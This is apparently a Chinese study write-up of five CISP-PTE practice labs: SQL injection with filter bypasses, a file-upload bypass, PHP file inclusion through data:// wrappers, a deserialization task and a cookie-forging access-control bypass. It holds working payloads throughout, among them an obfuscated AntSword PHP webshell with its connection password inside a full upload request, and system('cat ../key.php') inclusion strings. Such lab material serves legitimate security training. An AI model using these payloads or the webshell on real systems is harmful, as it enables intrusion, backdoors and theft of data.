CISP-PTE学习总结之基础练习题

Posted 星球守护者

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CISP-PTE学习总结之基础练习题相关的知识,希望对你有一定的参考价值。

文章目录

练习题目一:SQL注入

0x01 题目要求

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
数据库中可以找到Key1

0x02 解答过程:

第一步 通过单引号闭合,并且注释绕过

通过尝试发现--+ #被过滤
uuid=xx'  
uuid=xx' or '1'='1 页面回显正常
uuid=xx" or '1'='1 页面回显异常



第二步 判断表中列的数量,判断回显的位置

d6' order by 6 or '1'='1 
发现order by被过滤,只能1,2,3,4,5,6依次尝试
d6'union select 1,2,3,4,5 or '1' = '1 页面回显错误
d6'union select 1,2,3,4,5,6 or '1' = '1 页面回显字段2 


第四步 查询当前数据库的表名

当前数据库
d6'union select 1,database(),3,4,5,6 and '1' = '1 
当前数据库中的表
d6'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='2web'),3,4,5,6 and '1' = '1
Article,IS_KEY


第五步 查看表中的列名

d6'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='2web' and table_name='IS_KEY'),3,4,5,6 and '1' = '1

第六步 查询表中的值

uuid=-xx' union select 1,(select group_concat(haha) from IS_KEY),3,4,5,6 and '1' = '1

0x03 解题总结:

通过诸如点的闭合,来确定诸如点,多试几次‘、“ 、’)、”)等
注入被过滤,可以使用or '1'='1`、and '1' = '1 、like进行注释绕过
关键字符被过滤,使用双写、大小写结合的方式
判断回显的位置
判断当前库-表-字段-内容
database()\\、nformation_schema.tables、 information_schema.columns 、

练习题目二:文件上传突破

0x01 题目要求:

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

尝试获取webshell,答案就在根目录下key.php文件中。

0x02 解题过程:

第一步 生成蚁剑自带的免杀马

<?php // 使用时请删除此行, 连接密码: vUwbBMnW ?>
<?php $cOKn=create_function(chr(0x280-0x25c).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').base64_decode('ZQ=='),chr(0154543/01047).chr(0643-0455).base64_decode('YQ==').chr(939-831).chr(0x31f-0x2f7).chr(714-678).chr(01066-0703).chr(51948/468).base64_decode('bQ==').chr(0503-0336).base64_decode('KQ==').chr(0x27d-0x242));$cOKn(base64_decode('NzY2O'.'TcxO0'.'BldkF'.'sKCRf'.''.chr(0200650/01410).base64_decode('RQ==').chr(735-678).base64_decode('VA==').str_rot13('I').''.''.chr(0x223-0x1dd).chr(0233330/01256).base64_decode('Mg==').chr(78948/918).base64_decode('WA==').''.'diQk1'.'uV10p'.'OzIzM'.'DA5MT'.'M7'.''));?>

第一步 先上传一张图片

第二步 更改后缀和内容
一般是该后缀绕过、添加图片头进行绕过

POST /start/ HTTP/1.1
Host: 192.168.0.109:82
Content-Length: 817
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.109:82
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywqtFNq7zkjSAwK24
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.109:82/start/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c2cm17dv8uo37uua9t318gpfiv
Connection: close

------WebKitFormBoundarywqtFNq7zkjSAwK24
Content-Disposition: form-data; name="files"; filename="123.php"
Content-Type: image/jpeg

GIF89a
<?php $cOKn=create_function(chr(0x280-0x25c).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').base64_decode('ZQ=='),chr(0154543/01047).chr(0643-0455).base64_decode('YQ==').chr(939-831).chr(0x31f-0x2f7).chr(714-678).chr(01066-0703).chr(51948/468).base64_decode('bQ==').chr(0503-0336).base64_decode('KQ==').chr(0x27d-0x242));$cOKn(base64_decode('NzY2O'.'TcxO0'.'BldkF'.'sKCRf'.''.chr(0200650/01410).base64_decode('RQ==').chr(735-678).base64_decode('VA==').str_rot13('I').''.''.chr(0x223-0x1dd).chr(0233330/01256).base64_decode('Mg==').chr(78948/918).base64_decode('WA==').''.'diQk1'.'uV10p'.'OzIzM'.'DA5MT'.'M7'.''));?>
------WebKitFormBoundarywqtFNq7zkjSAwK24--

第三步 查看发现,可以解析,
如果查看图片直接下载,就说明解析错误

第四步 查看key

0x03 解题总结:

文件后缀名的绕过:php、php3、Php、%00截断
文件内容:添加图片头GIF89a、免杀马

练习题目三:文件包含

0x01 题目要求

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。

0x02 解题过程

第一步 查看发现输入,会自动添加个txt

第二步 通过参数,想要data://text/plain伪协议包含

发现php://字符被过滤,无法输入
查看当前目录下的文件
data://text/plain,<?php print_r(scandir(".")); ?> 

第三步 通过大小写和双写结合,进行绕过, 查找key的位置

查看当前目录下的文件

dadata://ta://text/plain,<?php print_r(scandir(".")); ?> 
查看上个目录下的文件
dadata://ta://text/plain,<?php print_r(scandir("..")); ?> 

当前目录下的:hello.txt和index.php两个文件

上级目录下的文件:footer.php [4] => header.php [5] => images [6] => index.php [7] => js [8] => key.php [9] => start ) .txt

第四步 查看key

dadata://ta://text/plain,<?php @eval(system('cat ../key.php')); ?>

0x03 解题总结:

常用的:
data://text/plain,<?php @eval(system('cat ../key.php')); ?>
data:text/plain,<?php system(‘whoami’)?>
双写大小写绕过

练习题目四:反序列化漏洞

0x01 题目要求:

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

0x02 解题过程

第一步 查看题目,进行分析

<?php
error_reporting(0);
include "key4.php";
$TEMP = "CISP-PTE";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)

    echo "$key4";

show_source(__FILE__);

服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了

第二步 构造反序列化

unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,
并返回原始的对象结构str=s:8:"CISP-PTE";
s:代表字符类型
8:代表¥TEAM变量的长度
"标量TEAM的值"

练习题目五:失效的访问控制

0x01 题目·要求:

失效的访问控制, 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如: 访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

请使用admin用户访问权限获取KEY

0x02 解题过程:

第一步 提示 只允许,那就直接添加个地址检测

第二步 绕过本地地址检测,发现没成功

x-forwarded-for :127.0.0.1,提示没有权限


第三步 更改cookie信息
通过观察,判断IsAdmin字段的值,应该是校验是否为管理员权限的,可以更改为true,发现未成功;分析同时对username字段值进行校验,解码发现是guest普通用户,更改为admin编码,数据包重放,发现key

Username=R3Vlc3Q%3D--url解码--R3Vlc3Q--base64解码--Guest
admin--base64编码--YWRtaW4=--url编码--YWRtaW4%3D

Cookie: PHPSESSID=c2cm17dv8uo37uua9t318gpfiv; IsAdmin=true; Username=YWRtaW4%3D
x-forwarded-for:127.0.0.1

0x03 解题总结:

绕过本地的检测:x-forwarded-for:127.0.0.1
多去尝试更改一写cookie的认证信息

摘抄


寻常时日中,藏着许多小美好,只等着有心之人去感受:等你回家的那盏灯;刚晾晒过的满是阳光气息的被单;窗台上盛开的那朵花。
做好每一件小事,关心和理解身边的人,用心欣赏路边的风景,把这些组合起来,你离幸福就会越来越近。
怀着一颗感恩的心去经营生活、创造生活,自然会越过越幸福。
—《学会感恩》


以上是关于CISP-PTE学习总结之基础练习题的主要内容,如果未能解决你的问题,请参考以下文章

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE实操练习题讲解二(新版)

CISP-PTE实操练习题讲解一(新版)